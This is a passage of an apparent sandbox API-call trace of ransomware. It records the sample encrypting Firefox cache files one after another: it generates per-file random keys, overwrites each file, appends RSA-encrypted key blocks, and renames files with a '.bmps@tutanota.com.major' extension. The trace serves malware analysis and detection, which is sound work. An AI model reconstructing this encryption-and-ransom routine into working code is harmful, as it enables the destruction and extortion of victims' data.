lpOverlapped=0x0) returned 1 [0285.766] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0285.766] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0285.766] CloseHandle (hObject=0x1b84) returned 1 [0285.766] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a8108 | out: hHeap=0x570000) returned 1 [0285.766] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\2084506A70CA3A1F0B77218D89A9FEF723A36E38" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\2084506a70ca3a1f0b77218d89a9fef723a36e38"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\2084506A70CA3A1F0B77218D89A9FEF723A36E38.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\2084506a70ca3a1f0b77218d89a9fef723a36e38.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0285.768] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a5ef8 | out: hHeap=0x570000) returned 1 [0285.768] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ee6690 | out: hHeap=0x570000) returned 1 [0285.768] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f822e0 | out: hHeap=0x570000) returned 1 [0285.768] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f81fc8 | out: hHeap=0x570000) returned 1 [0285.768] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x100) returned 0x2f822e0 [0285.768] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x2ee6910 [0285.768] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0285.768] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\2002896BDFC9D08F61F19B61E28302E004E659C6", dwFileAttributes=0x80) returned 1 [0285.769] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x100) returned 0x2f825f8 [0285.769] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x17e) returned 0x5a5ef8 [0285.769] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f825f8 | out: hHeap=0x570000) returned 1 [0285.769] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\2002896BDFC9D08F61F19B61E28302E004E659C6" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\2002896bdfc9d08f61f19b61e28302e004e659c6"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b84 [0285.769] GetFileSizeEx (in: hFile=0x1b84, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=144848) returned 1 [0285.769] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x235d0) returned 0x3540048 [0285.769] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x235d0) returned 0x3563620 [0285.770] ReadFile (in: hFile=0x1b84, lpBuffer=0x3540048, nNumberOfBytesToRead=0x235d0, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x3540048*, lpNumberOfBytesRead=0x2e3f9b4*=0x235d0, lpOverlapped=0x0) returned 1 [0285.945] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=-144848, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0285.945] WriteFile (in: hFile=0x1b84, lpBuffer=0x3563620*, nNumberOfBytesToWrite=0x235d0, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x3563620*, lpNumberOfBytesWritten=0x2e3f9b4*=0x235d0, lpOverlapped=0x0) returned 1 [0285.946] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x3540048 | out: hHeap=0x570000) returned 1 [0285.946] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x3563620 | out: hHeap=0x570000) returned 1 [0285.946] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x235d0 [0285.946] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0285.946] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0285.946] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0285.946] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0285.947] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0285.947] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5a8108 [0285.947] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="83IO5a2q1arpcTDjw98lxWY5oNYbG4rCrYR76fvKYbHs6Bo26PrSSWH13DHPnMxk\nBZLOXMSKx2d1QIVGrm6xSjFA6qO7HM22bXBZ/CUnidja9+X/Ct/+cxDzx/X0n4US\nsU6SHnv9CX2Jw4xf1biD23uoZfuu69tiONO/OTxUGQqClyth/3WiGEeWPKSbq5f7\naxJUB8IovG+IOJHaT6BbsYGpyy7FZy2u0pRa/XG+bVsy0kiG3LF6GcyapBUd6Z7R\nAjeD9+5NDwRl1zA2aR/qzMWXPNYZStoLohgkiSOyCPv6pTrPmJoSvTDycu4VfmJS\nfF8OGLCaCJ1M9Gtan8T7hQ==\n", pcchString=0x2e3f9a8) returned 1 [0285.947] WriteFile (in: hFile=0x1b84, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0285.947] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0285.947] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0285.947] CloseHandle (hObject=0x1b84) returned 1 [0285.972] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a8108 | out: hHeap=0x570000) returned 1 [0285.972] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\2002896BDFC9D08F61F19B61E28302E004E659C6" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\2002896bdfc9d08f61f19b61e28302e004e659c6"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\2002896BDFC9D08F61F19B61E28302E004E659C6.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\2002896bdfc9d08f61f19b61e28302e004e659c6.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0285.974] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a5ef8 | out: hHeap=0x570000) returned 1 [0285.974] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ee6910 | out: hHeap=0x570000) returned 1 [0285.974] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f822e0 | out: hHeap=0x570000) returned 1 [0285.974] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f820d0 | out: hHeap=0x570000) returned 1 [0285.974] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x100) returned 0x2f83678 [0285.974] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x2ee65a0 [0285.974] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0285.974] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\1F9E7EB069A93C1EA0AF4E70B6C5E97CD8F80A39", dwFileAttributes=0x80) returned 1 [0285.975] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x100) returned 0x2f81998 [0285.975] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x17e) returned 0x5a5ef8 [0285.975] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f81998 | out: hHeap=0x570000) returned 1 [0285.975] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\1F9E7EB069A93C1EA0AF4E70B6C5E97CD8F80A39" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\1f9e7eb069a93c1ea0af4e70b6c5e97cd8f80a39"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b84 [0285.976] GetFileSizeEx (in: hFile=0x1b84, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=2301) returned 1 [0285.976] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x8fd) returned 0x3446048 [0285.976] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x8fd) returned 0x2f39028 [0285.976] ReadFile (in: hFile=0x1b84, lpBuffer=0x3446048, nNumberOfBytesToRead=0x8fd, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x3446048*, lpNumberOfBytesRead=0x2e3f9b4*=0x8fd, lpOverlapped=0x0) returned 1 [0286.144] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=-2301, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0286.144] WriteFile (in: hFile=0x1b84, lpBuffer=0x2f39028*, nNumberOfBytesToWrite=0x8fd, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f39028*, lpNumberOfBytesWritten=0x2e3f9b4*=0x8fd, lpOverlapped=0x0) returned 1 [0286.144] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x3446048 | out: hHeap=0x570000) returned 1 [0286.144] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f39028 | out: hHeap=0x570000) returned 1 [0286.144] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x8fd [0286.144] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0286.144] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0286.144] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0286.144] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0286.145] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0286.145] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5a8108 [0286.145] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="kvOjAjl6pQeY1MjnN0ApFqxjL3SObhOdGQ/NsZVRrkb5anW64XOj0evInMwj3UO9\nl1y0nDRP+38kZm5vTGQus7L3Lf5ahDa4OYJt6+UbJnmoYQcOvLNfLGOmIFSJejW5\nTeyjtPm0jjcD+PH0FzgrkzV79ROct5oI1YmEP22jXDVs3a8K5/YrK9pTgsH2fp5o\nFHVkxji4wHR7naFl54+1BxTnNdR5XU9Z6D1zl2TUrwcVvo/LzErblQYoq9s/A5N3\n1hn+Fvuv/qvYqdgvM+aJPIAFMKi65v5D4w1jwnhxZeBSybwIY6QfOx0XkDyUQHw8\nHn62bPDCE/hHnQ119PJvug==\n", pcchString=0x2e3f9a8) returned 1 [0286.145] WriteFile (in: hFile=0x1b84, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0286.145] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0286.145] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0286.145] CloseHandle (hObject=0x1b84) returned 1 [0286.145] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a8108 | out: hHeap=0x570000) returned 1 [0286.145] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\1F9E7EB069A93C1EA0AF4E70B6C5E97CD8F80A39" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\1f9e7eb069a93c1ea0af4e70b6c5e97cd8f80a39"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\1F9E7EB069A93C1EA0AF4E70B6C5E97CD8F80A39.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\1f9e7eb069a93c1ea0af4e70b6c5e97cd8f80a39.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0286.147] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a5ef8 | out: hHeap=0x570000) returned 1 [0286.147] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ee65a0 | out: hHeap=0x570000) returned 1 [0286.147] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f83678 | out: hHeap=0x570000) returned 1 [0286.147] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f83360 | out: hHeap=0x570000) returned 1 [0286.147] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x100) returned 0x2f82910 [0286.147] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x2ee67d0 [0286.148] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0286.148] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\1F58B2F46F6C2DE8FF822405AC18A18128D0BBBC", dwFileAttributes=0x80) returned 1 [0286.148] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x100) returned 0x2f82f40 [0286.148] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x17e) returned 0x5a5ef8 [0286.148] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f82f40 | out: hHeap=0x570000) returned 1 [0286.148] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\1F58B2F46F6C2DE8FF822405AC18A18128D0BBBC" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\1f58b2f46f6c2de8ff822405ac18a18128d0bbbc"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b84 [0286.149] GetFileSizeEx (in: hFile=0x1b84, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=520) returned 1 [0286.149] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x208) returned 0x57eca8 [0286.149] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x208) returned 0x581478 [0286.149] ReadFile (in: hFile=0x1b84, lpBuffer=0x57eca8, nNumberOfBytesToRead=0x208, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x57eca8*, lpNumberOfBytesRead=0x2e3f9b4*=0x208, lpOverlapped=0x0) returned 1 [0286.150] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=-520, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0286.150] WriteFile (in: hFile=0x1b84, lpBuffer=0x581478*, nNumberOfBytesToWrite=0x208, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x581478*, lpNumberOfBytesWritten=0x2e3f9b4*=0x208, lpOverlapped=0x0) returned 1 [0286.150] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x57eca8 | out: hHeap=0x570000) returned 1 [0286.150] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x581478 | out: hHeap=0x570000) returned 1 [0286.150] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x208 [0286.150] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0286.150] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0286.150] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0286.150] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0286.151] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0286.151] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5a8108 [0286.151] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="IPno9oW4rCRnl6e6HIm9CD64l18qcnyNKI/JsJf54Mq6etdPSB9uhC9UoOgIIg3S\nUuIKuyuI3FYjN0gTUWcs6Aduk0ocomC1H3fqj6W5DR3xitIyOuwUrBSqzJML2ay8\nNp3SQZNWxJCFNYaZCFYNsp84Ae2UNp8/UQVo+WlPKEaUCw79vQ3DOTDRJuGWJL0u\nSmgxC1bycqsyOIrONl61ucO6Rk1Olhw39Qk7OgU9BxmwTjTsbdANaiPgdiBImVd2\n/LzCq7qbpcFHKm717mSDlXKUT6mWgzU1+v70mw1S1iuVC0eHu8zLeIj5GLz3SXNz\nUxZ5qcxU79T32oVK9IzGDA==\n", pcchString=0x2e3f9a8) returned 1 [0286.151] WriteFile (in: hFile=0x1b84, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0286.151] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0286.151] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0286.151] CloseHandle (hObject=0x1b84) returned 1 [0286.151] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a8108 | out: hHeap=0x570000) returned 1 [0286.152] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\1F58B2F46F6C2DE8FF822405AC18A18128D0BBBC" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\1f58b2f46f6c2de8ff822405ac18a18128d0bbbc"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\1F58B2F46F6C2DE8FF822405AC18A18128D0BBBC.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\1f58b2f46f6c2de8ff822405ac18a18128d0bbbc.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0286.297] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a5ef8 | out: hHeap=0x570000) returned 1 [0286.297] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ee67d0 | out: hHeap=0x570000) returned 1 [0286.297] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f82910 | out: hHeap=0x570000) returned 1 [0286.297] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f82b20 | out: hHeap=0x570000) returned 1 [0286.297] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x100) returned 0x2f82910 [0286.297] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x2ee6708 [0286.297] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0286.297] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\1EB2E405E2B5AFF18DBD87BBFB385EED242A1AB5", dwFileAttributes=0x80) returned 1 [0286.297] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x100) returned 0x2f81fc8 [0286.297] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x17e) returned 0x5a5ef8 [0286.297] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f81fc8 | out: hHeap=0x570000) returned 1 [0286.297] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\1EB2E405E2B5AFF18DBD87BBFB385EED242A1AB5" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\1eb2e405e2b5aff18dbd87bbfb385eed242a1ab5"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b84 [0286.298] GetFileSizeEx (in: hFile=0x1b84, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=4042) returned 1 [0286.298] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xfca) returned 0x2f39028 [0286.298] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xfca) returned 0x2f3a000 [0286.298] ReadFile (in: hFile=0x1b84, lpBuffer=0x2f39028, nNumberOfBytesToRead=0xfca, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f39028*, lpNumberOfBytesRead=0x2e3f9b4*=0xfca, lpOverlapped=0x0) returned 1 [0286.299] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=-4042, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0286.299] WriteFile (in: hFile=0x1b84, lpBuffer=0x2f3a000*, nNumberOfBytesToWrite=0xfca, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f3a000*, lpNumberOfBytesWritten=0x2e3f9b4*=0xfca, lpOverlapped=0x0) returned 1 [0286.299] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f39028 | out: hHeap=0x570000) returned 1 [0286.299] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f3a000 | out: hHeap=0x570000) returned 1 [0286.299] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0xfca [0286.299] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0286.299] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0286.300] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0286.300] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0286.300] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0286.300] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5a8108 [0286.300] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, 